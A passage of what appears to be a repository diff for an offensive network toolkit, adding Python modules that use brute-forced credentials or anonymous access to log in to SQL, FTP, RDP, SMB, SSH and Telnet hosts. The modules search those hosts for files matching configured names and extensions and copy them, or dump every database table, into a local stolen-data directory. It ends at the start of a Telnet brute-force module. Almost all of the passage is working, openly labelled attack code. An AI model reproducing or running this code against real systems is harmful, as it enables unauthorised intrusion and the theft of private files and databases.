SELECT TABLE_NAME, TABLE_SCHEMA
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_SCHEMA NOT IN ('information_schema', 'mysql', 'performance_schema', 'sys')
AND TABLE_TYPE = 'BASE TABLE'
"""
df = pd.read_sql(query, engine)
tables = df[['TABLE_NAME', 'TABLE_SCHEMA']].values.tolist()
logger.info(f"Found {len(tables)} tables across all databases")
return tables
except Exception as e:
logger.error(f"Error finding tables: {e}")
return []
def steal_data(self, engine, table, schema, local_dir):
"""
Download data from the table in the database to a local file.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("Data stealing process interrupted due to orchestrator exit.")
return
query = f"SELECT * FROM {schema}.{table}"
df = pd.read_sql(query, engine)
local_file_path = os.path.join(local_dir, f"{schema}_{table}.csv")
df.to_csv(local_file_path, index=False)
logger.success(f"Downloaded data from table {schema}.{table} to {local_file_path}")
except Exception as e:
logger.error(f"Error downloading data from table {schema}.{table}: {e}")
def execute(self, ip, port, row, status_key):
"""
Steal data from the remote SQL server.
"""
try:
if 'success' in row.get(self.b_parent_action, ''):
self.shared_data.bjornorch_status = "StealDataSQL"
time.sleep(5)
logger.info(f"Stealing data from {ip}:{port}...")
sqlfile = self.shared_data.sqlfile
credentials = []
if os.path.exists(sqlfile):
df = pd.read_csv(sqlfile)
# Filtrer les credentials pour l'IP spécifique
ip_credentials = df[df['IP Address'] == ip]
# Créer des tuples (username, password, database)
credentials = [(row['User'], row['Password'], row['Database'])
for _, row in ip_credentials.iterrows()]
logger.info(f"Found {len(credentials)} credential combinations for {ip}")
if not credentials:
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
if not self.sql_connected:
logger.error(f"No SQL connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout)
timer.start()
success = False
for username, password, database in credentials:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Steal data execution interrupted.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip} on database {database}")
# D'abord se connecter sans base pour vérifier les permissions globales
engine = self.connect_sql(ip, username, password)
if engine:
tables = self.find_tables(engine)
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"sql/{mac}_{ip}/{database}")
os.makedirs(local_dir, exist_ok=True)
if tables:
for table, schema in tables:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
break
# Se connecter à la base spécifique pour le vol de données
db_engine = self.connect_sql(ip, username, password, schema)
if db_engine:
self.steal_data(db_engine, table, schema, local_dir)
success = True
counttables = len(tables)
logger.success(f"Successfully stolen data from {counttables} tables on {ip}:{port}")
if success:
timer.cancel()
return 'success'
except Exception as e:
logger.error(f"Error stealing data from {ip} with user '{username}' on database {database}: {e}")
if not success:
logger.error(f"Failed to steal any data from {ip}:{port}")
return 'failed'
else:
return 'success'
else:
logger.info(f"Skipping {ip} as it was not successfully bruteforced")
return 'skipped'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
def b_parent_action(self, row):
"""
Get the parent action status from the row.
"""
return row.get(b_parent, {}).get(b_status, '')
if __name__ == "__main__":
shared_data = SharedData()
try:
steal_data_sql = StealDataSQL(shared_data)
logger.info("[bold green]Starting SQL data extraction process[/bold green]")
# Load the IPs to process from shared data
ips_to_process = shared_data.read_data()
# Execute data theft on each IP
for row in ips_to_process:
ip = row["IPs"]
steal_data_sql.execute(ip, b_port, row, b_status)
except Exception as e:
logger.error(f"Error in main execution: {e}")
+198
View File
@@ -0,0 +1,198 @@
"""
steal_files_ftp.py - This script connects to FTP servers using provided credentials or anonymous access, searches for specific files, and downloads them to a local directory.
"""
import os
import logging
import time
from rich.console import Console
from threading import Timer
from ftplib import FTP
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_files_ftp.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesFTP"
b_module = "steal_files_ftp"
b_status = "steal_files_ftp"
b_parent = "FTPBruteforce"
b_port = 21
class StealFilesFTP:
"""
Class to handle the process of stealing files from FTP servers.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.ftp_connected = False
self.stop_execution = False
logger.info("StealFilesFTP initialized")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_ftp(self, ip, username, password):
"""
Establish an FTP connection.
"""
try:
ftp = FTP()
ftp.connect(ip, 21)
ftp.login(user=username, passwd=password)
self.ftp_connected = True
logger.info(f"Connected to {ip} via FTP with username {username}")
return ftp
except Exception as e:
logger.error(f"FTP connection error for {ip} with user '{username}' and password '{password}': {e}")
return None
def find_files(self, ftp, dir_path):
"""
Find files in the FTP share based on the configuration criteria.
"""
files = []
try:
ftp.cwd(dir_path)
items = ftp.nlst()
for item in items:
try:
ftp.cwd(item)
files.extend(self.find_files(ftp, os.path.join(dir_path, item)))
ftp.cwd('..')
except Exception:
if any(item.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in item for file_name in self.shared_data.steal_file_names):
files.append(os.path.join(dir_path, item))
logger.info(f"Found {len(files)} matching files in {dir_path} on FTP")
except Exception as e:
logger.error(f"Error accessing path {dir_path} on FTP: {e}")
return files
def steal_file(self, ftp, remote_file, local_dir):
"""
Download a file from the FTP server to the local directory.
"""
try:
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
local_file_dir = os.path.dirname(local_file_path)
os.makedirs(local_file_dir, exist_ok=True)
with open(local_file_path, 'wb') as f:
ftp.retrbinary(f'RETR {remote_file}', f.write)
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
except Exception as e:
logger.error(f"Error downloading file {remote_file} from FTP: {e}")
def execute(self, ip, port, row, status_key):
"""
Steal files from the FTP server.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesFTP"
logger.info(f"Stealing files from {ip}:{port}...")
# Wait a bit because it's too fast to see the status change
time.sleep(5)
# Get FTP credentials from the cracked passwords file
ftpfile = self.shared_data.ftpfile
credentials = []
if os.path.exists(ftpfile):
with open(ftpfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
credentials.append((parts[3], parts[4])) # Username and password
logger.info(f"Found {len(credentials)} credentials for {ip}")
def try_anonymous_access():
"""
Try to access the FTP server without credentials.
"""
try:
ftp = self.connect_ftp(ip, 'anonymous', '')
return ftp
except Exception as e:
logger.info(f"Anonymous access to {ip} failed: {e}")
return None
if not credentials and not try_anonymous_access():
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no FTP connection is established.
"""
if not self.ftp_connected:
logger.error(f"No FTP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt anonymous access first
success = False
ftp = try_anonymous_access()
if ftp:
remote_files = self.find_files(ftp, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/anonymous")
if remote_files:
for remote_file in remote_files:
if self.stop_execution:
break
self.steal_file(ftp, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
ftp.quit()
if success:
timer.cancel() # Cancel the timer if the operation is successful
# Attempt to steal files using each credential if anonymous access fails
for username, password in credentials:
if self.stop_execution:
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
ftp = self.connect_ftp(ip, username, password)
if ftp:
remote_files = self.find_files(ftp, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"ftp/{mac}_{ip}/{username}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution:
break
self.steal_file(ftp, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} with user '{username}'")
ftp.quit()
if success:
timer.cancel() # Cancel the timer if the operation is successful
break # Exit the loop as we have found valid credentials
except Exception as e:
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
return 'success'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
try:
shared_data = SharedData()
steal_files_ftp = StealFilesFTP(shared_data)
# Add test or demonstration calls here
except Exception as e:
logger.error(f"Error in main execution: {e}")
+184
View File
@@ -0,0 +1,184 @@
"""
steal_files_rdp.py - This script connects to remote RDP servers using provided credentials, searches for specific files, and downloads them to a local directory.
"""
import os
import subprocess
import logging
import time
from threading import Timer
from rich.console import Console
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_files_rdp.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesRDP"
b_module = "steal_files_rdp"
b_status = "steal_files_rdp"
b_parent = "RDPBruteforce"
b_port = 3389
class StealFilesRDP:
"""
Class to handle the process of stealing files from RDP servers.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.rdp_connected = False
self.stop_execution = False
logger.info("StealFilesRDP initialized")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_rdp(self, ip, username, password):
"""
Establish an RDP connection.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("RDP connection attempt interrupted due to orchestrator exit.")
return None
command = f"xfreerdp /v:{ip} /u:{username} /p:{password} /drive:shared,/mnt/shared"
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
if process.returncode == 0:
logger.info(f"Connected to {ip} via RDP with username {username}")
self.rdp_connected = True
return process
else:
logger.error(f"Error connecting to RDP on {ip} with username {username}: {stderr.decode()}")
return None
except Exception as e:
logger.error(f"Error connecting to RDP on {ip} with username {username}: {e}")
return None
def find_files(self, client, dir_path):
"""
Find files in the remote directory based on the configuration criteria.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted due to orchestrator exit.")
return []
# Assuming that files are mounted and can be accessed via SMB or locally
files = []
for root, dirs, filenames in os.walk(dir_path):
for file in filenames:
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in file for file_name in self.shared_data.steal_file_names):
files.append(os.path.join(root, file))
logger.info(f"Found {len(files)} matching files in {dir_path}")
return files
except Exception as e:
logger.error(f"Error finding files in directory {dir_path}: {e}")
return []
def steal_file(self, remote_file, local_dir):
"""
Download a file from the remote server to the local directory.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("File stealing process interrupted due to orchestrator exit.")
return
local_file_path = os.path.join(local_dir, os.path.basename(remote_file))
os.makedirs(os.path.dirname(local_file_path), exist_ok=True)
command = f"cp {remote_file} {local_file_path}"
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
stdout, stderr = process.communicate()
if process.returncode == 0:
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
else:
logger.error(f"Error downloading file {remote_file}: {stderr.decode()}")
except Exception as e:
logger.error(f"Error stealing file {remote_file}: {e}")
def execute(self, ip, port, row, status_key):
"""
Steal files from the remote server using RDP.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesRDP"
# Wait a bit because it's too fast to see the status change
time.sleep(5)
logger.info(f"Stealing files from {ip}:{port}...")
# Get RDP credentials from the cracked passwords file
rdpfile = self.shared_data.rdpfile
credentials = []
if os.path.exists(rdpfile):
with open(rdpfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
credentials.append((parts[3], parts[4]))
logger.info(f"Found {len(credentials)} credentials for {ip}")
if not credentials:
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no RDP connection is established.
"""
if not self.rdp_connected:
logger.error(f"No RDP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt to steal files using each credential
success = False
for username, password in credentials:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Steal files execution interrupted due to orchestrator exit.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
client = self.connect_rdp(ip, username, password)
if client:
remote_files = self.find_files(client, '/mnt/shared')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"rdp/{mac}_{ip}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File stealing process interrupted due to orchestrator exit.")
break
self.steal_file(remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
client.terminate()
if success:
timer.cancel() # Cancel the timer if the operation is successful
return 'success' # Return success if the operation is successful
except Exception as e:
logger.error(f"Error stealing files from {ip} with username {username}: {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
return 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
try:
shared_data = SharedData()
steal_files_rdp = StealFilesRDP(shared_data)
# Add test or demonstration calls here
except Exception as e:
logger.error(f"Error in main execution: {e}")
+223
View File
@@ -0,0 +1,223 @@
import os
import logging
from rich.console import Console
from threading import Timer
import time
from smb.SMBConnection import SMBConnection
from smb.base import SharedFile
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_files_smb.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesSMB"
b_module = "steal_files_smb"
b_status = "steal_files_smb"
b_parent = "SMBBruteforce"
b_port = 445
IGNORED_SHARES = {'print$', 'ADMIN$', 'IPC$', 'C$', 'D$', 'E$', 'F$', 'Sharename', '---------', 'SMB1'}
class StealFilesSMB:
"""
Class to handle the process of stealing files from SMB shares.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.smb_connected = False
self.stop_execution = False
logger.info("StealFilesSMB initialized")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_smb(self, ip, username, password):
"""
Establish an SMB connection.
"""
try:
conn = SMBConnection(username, password, "Bjorn", "Target", use_ntlm_v2=True, is_direct_tcp=True)
conn.connect(ip, 445)
logger.info(f"Connected to {ip} via SMB with username {username}")
self.smb_connected = True
return conn
except Exception as e:
logger.error(f"SMB connection error for {ip} with user '{username}' and password '{password}': {e}")
return None
def find_files(self, conn, share_name, dir_path):
"""
Find files in the SMB share based on the configuration criteria.
"""
files = []
try:
for file in conn.listPath(share_name, dir_path):
if file.isDirectory:
if file.filename not in ['.', '..']:
files.extend(self.find_files(conn, share_name, os.path.join(dir_path, file.filename)))
else:
if any(file.filename.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in file.filename for file_name in self.shared_data.steal_file_names):
files.append(os.path.join(dir_path, file.filename))
logger.info(f"Found {len(files)} matching files in {dir_path} on share {share_name}")
except Exception as e:
logger.error(f"Error accessing path {dir_path} in share {share_name}: {e}")
return files
def steal_file(self, conn, share_name, remote_file, local_dir):
"""
Download a file from the SMB share to the local directory.
"""
try:
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
local_file_dir = os.path.dirname(local_file_path)
os.makedirs(local_file_dir, exist_ok=True)
with open(local_file_path, 'wb') as f:
conn.retrieveFile(share_name, remote_file, f)
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
except Exception as e:
logger.error(f"Error downloading file {remote_file} from share {share_name}: {e}")
def list_shares(self, conn):
"""
List shares using the SMBConnection object.
"""
try:
shares = conn.listShares()
valid_shares = [share for share in shares if share.name not in IGNORED_SHARES and not share.isSpecial and not share.isTemporary]
logger.info(f"Found valid shares: {[share.name for share in valid_shares]}")
return valid_shares
except Exception as e:
logger.error(f"Error listing shares: {e}")
return []
def execute(self, ip, port, row, status_key):
"""
Steal files from the SMB share.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesSMB"
logger.info(f"Stealing files from {ip}:{port}...")
# Wait a bit because it's too fast to see the status change
time.sleep(5)
# Get SMB credentials from the cracked passwords file
smbfile = self.shared_data.smbfile
credentials = {}
if os.path.exists(smbfile):
with open(smbfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
share = parts[3]
user = parts[4]
password = parts[5]
if share not in credentials:
credentials[share] = []
credentials[share].append((user, password))
logger.info(f"Found credentials for {len(credentials)} shares on {ip}")
def try_anonymous_access():
"""
Try to access SMB shares without credentials.
"""
try:
conn = self.connect_smb(ip, '', '')
shares = self.list_shares(conn)
return conn, shares
except Exception as e:
logger.info(f"Anonymous access to {ip} failed: {e}")
return None, None
if not credentials and not try_anonymous_access():
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no SMB connection is established.
"""
if not self.smb_connected:
logger.error(f"No SMB connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt anonymous access first
success = False
conn, shares = try_anonymous_access()
if conn and shares:
for share in shares:
if share.isSpecial or share.isTemporary or share.name in IGNORED_SHARES:
continue
remote_files = self.find_files(conn, share.name, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share.name}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution:
break
self.steal_file(conn, share.name, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} via anonymous access")
conn.close()
if success:
timer.cancel() # Cancel the timer if the operation is successful
# Track which shares have already been accessed anonymously
attempted_shares = {share.name for share in shares} if success else set()
# Attempt to steal files using each credential for shares not accessed anonymously
for share, creds in credentials.items():
if share in attempted_shares or share in IGNORED_SHARES:
continue
for username, password in creds:
if self.stop_execution:
break
try:
logger.info(f"Trying credential {username}:{password} for share {share} on {ip}")
conn = self.connect_smb(ip, username, password)
if conn:
remote_files = self.find_files(conn, share, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"smb/{mac}_{ip}/{share}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution:
break
self.steal_file(conn, share, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.info(f"Successfully stolen {countfiles} files from {ip}:{port} on share '{share}' with user '{username}'")
conn.close()
if success:
timer.cancel() # Cancel the timer if the operation is successful
break # Exit the loop as we have found valid credentials
except Exception as e:
logger.error(f"Error stealing files from {ip} on share '{share}' with user '{username}': {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
return 'success'
else:
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
return 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
try:
shared_data = SharedData()
steal_files_smb = StealFilesSMB(shared_data)
# Add test or demonstration calls here
except Exception as e:
logger.error(f"Error in main execution: {e}")
+173
View File
@@ -0,0 +1,173 @@
"""
steal_files_ssh.py - This script connects to remote SSH servers using provided credentials, searches for specific files, and downloads them to a local directory.
"""
import os
import paramiko
import logging
import time
from rich.console import Console
from threading import Timer
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_files_ssh.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesSSH"
b_module = "steal_files_ssh"
b_status = "steal_files_ssh"
b_parent = "SSHBruteforce"
b_port = 22
class StealFilesSSH:
"""
Class to handle the process of stealing files from SSH servers.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.sftp_connected = False
self.stop_execution = False
logger.info("StealFilesSSH initialized")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_ssh(self, ip, username, password):
"""
Establish an SSH connection.
"""
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip, username=username, password=password)
logger.info(f"Connected to {ip} via SSH with username {username}")
return ssh
except Exception as e:
logger.error(f"Error connecting to SSH on {ip} with username {username}: {e}")
raise
def find_files(self, ssh, dir_path):
"""
Find files in the remote directory based on the configuration criteria.
"""
try:
stdin, stdout, stderr = ssh.exec_command(f'find {dir_path} -type f')
files = stdout.read().decode().splitlines()
matching_files = []
for file in files:
if self.shared_data.orchestrator_should_exit :
logger.info("File search interrupted.")
return []
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in file for file_name in self.shared_data.steal_file_names):
matching_files.append(file)
logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
return matching_files
except Exception as e:
logger.error(f"Error finding files in directory {dir_path}: {e}")
raise
def steal_file(self, ssh, remote_file, local_dir):
"""
Download a file from the remote server to the local directory.
"""
try:
sftp = ssh.open_sftp()
self.sftp_connected = True # Mark SFTP as connected
remote_dir = os.path.dirname(remote_file)
local_file_dir = os.path.join(local_dir, os.path.relpath(remote_dir, '/'))
os.makedirs(local_file_dir, exist_ok=True)
local_file_path = os.path.join(local_file_dir, os.path.basename(remote_file))
sftp.get(remote_file, local_file_path)
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
sftp.close()
except Exception as e:
logger.error(f"Error stealing file {remote_file}: {e}")
raise
def execute(self, ip, port, row, status_key):
"""
Steal files from the remote server using SSH.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesSSH"
# Wait a bit because it's too fast to see the status change
time.sleep(5)
logger.info(f"Stealing files from {ip}:{port}...")
# Get SSH credentials from the cracked passwords file
sshfile = self.shared_data.sshfile
credentials = []
if os.path.exists(sshfile):
with open(sshfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
credentials.append((parts[3], parts[4]))
logger.info(f"Found {len(credentials)} credentials for {ip}")
if not credentials:
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no SFTP connection is established.
"""
if not self.sftp_connected:
logger.error(f"No SFTP connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt to steal files using each credential
success = False
for username, password in credentials:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
ssh = self.connect_ssh(ip, username, password)
remote_files = self.find_files(ssh, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"ssh/{mac}_{ip}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted.")
break
self.steal_file(ssh, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
ssh.close()
if success:
timer.cancel() # Cancel the timer if the operation is successful
return 'success' # Return success if the operation is successful
except Exception as e:
logger.error(f"Error stealing files from {ip} with username {username}: {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
return 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
try:
shared_data = SharedData()
steal_files_ssh = StealFilesSSH(shared_data)
# Add test or demonstration calls here
except Exception as e:
logger.error(f"Error in main execution: {e}")
+180
View File
@@ -0,0 +1,180 @@
"""
steal_files_telnet.py - This script connects to remote Telnet servers using provided credentials, searches for specific files, and downloads them to a local directory.
"""
import os
import telnetlib
import logging
import time
from rich.console import Console
from threading import Timer
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="steal_files_telnet.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "StealFilesTelnet"
b_module = "steal_files_telnet"
b_status = "steal_files_telnet"
b_parent = "TelnetBruteforce"
b_port = 23
class StealFilesTelnet:
"""
Class to handle the process of stealing files from Telnet servers.
"""
def __init__(self, shared_data):
try:
self.shared_data = shared_data
self.telnet_connected = False
self.stop_execution = False
logger.info("StealFilesTelnet initialized")
except Exception as e:
logger.error(f"Error during initialization: {e}")
def connect_telnet(self, ip, username, password):
"""
Establish a Telnet connection.
"""
try:
tn = telnetlib.Telnet(ip)
tn.read_until(b"login: ")
tn.write(username.encode('ascii') + b"\n")
if password:
tn.read_until(b"Password: ")
tn.write(password.encode('ascii') + b"\n")
tn.read_until(b"$", timeout=10)
logger.info(f"Connected to {ip} via Telnet with username {username}")
return tn
except Exception as e:
logger.error(f"Telnet connection error for {ip} with user '{username}' & password '{password}': {e}")
return None
def find_files(self, tn, dir_path):
"""
Find files in the remote directory based on the config criteria.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted due to orchestrator exit.")
return []
tn.write(f'find {dir_path} -type f\n'.encode('ascii'))
files = tn.read_until(b"$", timeout=10).decode('ascii').splitlines()
matching_files = []
for file in files:
if self.shared_data.orchestrator_should_exit:
logger.info("File search interrupted due to orchestrator exit.")
return []
if any(file.endswith(ext) for ext in self.shared_data.steal_file_extensions) or \
any(file_name in file for file_name in self.shared_data.steal_file_names):
matching_files.append(file.strip())
logger.info(f"Found {len(matching_files)} matching files in {dir_path}")
return matching_files
except Exception as e:
logger.error(f"Error finding files on Telnet: {e}")
return []
def steal_file(self, tn, remote_file, local_dir):
"""
Download a file from the remote server to the local directory.
"""
try:
if self.shared_data.orchestrator_should_exit:
logger.info("File stealing process interrupted due to orchestrator exit.")
return
local_file_path = os.path.join(local_dir, os.path.relpath(remote_file, '/'))
local_file_dir = os.path.dirname(local_file_path)
os.makedirs(local_file_dir, exist_ok=True)
with open(local_file_path, 'wb') as f:
tn.write(f'cat {remote_file}\n'.encode('ascii'))
f.write(tn.read_until(b"$", timeout=10))
logger.success(f"Downloaded file from {remote_file} to {local_file_path}")
except Exception as e:
logger.error(f"Error downloading file {remote_file} from Telnet: {e}")
def execute(self, ip, port, row, status_key):
"""
Steal files from the remote server using Telnet.
"""
try:
if 'success' in row.get(self.b_parent_action, ''): # Verify if the parent action is successful
self.shared_data.bjornorch_status = "StealFilesTelnet"
logger.info(f"Stealing files from {ip}:{port}...")
# Wait a bit because it's too fast to see the status change
time.sleep(5)
# Get Telnet credentials from the cracked passwords file
telnetfile = self.shared_data.telnetfile
credentials = []
if os.path.exists(telnetfile):
with open(telnetfile, 'r') as f:
lines = f.readlines()[1:] # Skip the header
for line in lines:
parts = line.strip().split(',')
if parts[1] == ip:
credentials.append((parts[3], parts[4]))
logger.info(f"Found {len(credentials)} credentials for {ip}")
if not credentials:
logger.error(f"No valid credentials found for {ip}. Skipping...")
return 'failed'
def timeout():
"""
Timeout function to stop the execution if no Telnet connection is established.
"""
if not self.telnet_connected:
logger.error(f"No Telnet connection established within 4 minutes for {ip}. Marking as failed.")
self.stop_execution = True
timer = Timer(240, timeout) # 4 minutes timeout
timer.start()
# Attempt to steal files using each credential
success = False
for username, password in credentials:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("Steal files execution interrupted due to orchestrator exit.")
break
try:
logger.info(f"Trying credential {username}:{password} for {ip}")
tn = self.connect_telnet(ip, username, password)
if tn:
remote_files = self.find_files(tn, '/')
mac = row['MAC Address']
local_dir = os.path.join(self.shared_data.datastolendir, f"telnet/{mac}_{ip}")
if remote_files:
for remote_file in remote_files:
if self.stop_execution or self.shared_data.orchestrator_should_exit:
logger.info("File stealing process interrupted due to orchestrator exit.")
break
self.steal_file(tn, remote_file, local_dir)
success = True
countfiles = len(remote_files)
logger.success(f"Successfully stolen {countfiles} files from {ip}:{port} using {username}")
tn.close()
if success:
timer.cancel() # Cancel the timer if the operation is successful
return 'success' # Return success if the operation is successful
except Exception as e:
logger.error(f"Error stealing files from {ip} with user '{username}': {e}")
# Ensure the action is marked as failed if no files were found
if not success:
logger.error(f"Failed to steal any files from {ip}:{port}")
return 'failed'
else:
logger.error(f"Parent action not successful for {ip}. Skipping steal files action.")
return 'failed'
except Exception as e:
logger.error(f"Unexpected error during execution for {ip}:{port}: {e}")
return 'failed'
if __name__ == "__main__":
try:
shared_data = SharedData()
steal_files_telnet = StealFilesTelnet(shared_data)
# Add test or demonstration calls here
except Exception as e:
logger.error(f"Error in main execution: {e}")
+206
View File
@@ -0,0 +1,206 @@
"""
telnet_connector.py - This script performs a brute-force attack on Telnet servers using a list of credentials,
and logs the successful login attempts.
"""
import os
import pandas as pd
import telnetlib
import threading
import logging
import time
from queue import Queue
from rich.console import Console
from rich.progress import Progress, BarColumn, TextColumn, SpinnerColumn
from shared import SharedData
from logger import Logger
# Configure the logger
logger = Logger(name="telnet_connector.py", level=logging.DEBUG)
# Define the necessary global variables
b_class = "TelnetBruteforce"
b_module = "telnet_connector"
b_status = "brute_force_telnet"
b_port = 23
b_parent = None
class TelnetBruteforce:
"""
Class to handle the brute-force attack process for Telnet servers.
"""
def __init__(self, shared_data):
self.shared_data = shared_data
self.telnet_connector = TelnetConnector(shared_data)
logger.info("TelnetConnector initialized.")
def bruteforce_telnet(self, ip, port):
"""
Perform brute-force attack on a Telnet server.
"""
return self.telnet_connector.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key):
